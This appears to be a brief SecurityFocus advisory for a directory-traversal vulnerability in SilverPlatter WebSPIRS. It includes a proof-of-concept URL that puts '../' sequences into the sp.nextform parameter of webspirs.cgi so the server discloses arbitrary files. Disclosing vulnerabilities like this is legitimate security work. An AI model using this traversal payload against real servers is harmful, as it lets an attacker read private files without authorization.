source: https://www.securityfocus.com/bid/2362/info

A remote user could gain read access to known files outside of the root directory where SilverPlatter WebSPIRS resides. Requesting a specially crafted URL composed of '../' sequences along with the known filename will disclose the requested file. 

www.target.com/cgi-bin/webspirs.cgi?sp.nextform=../../../../../../path/to/file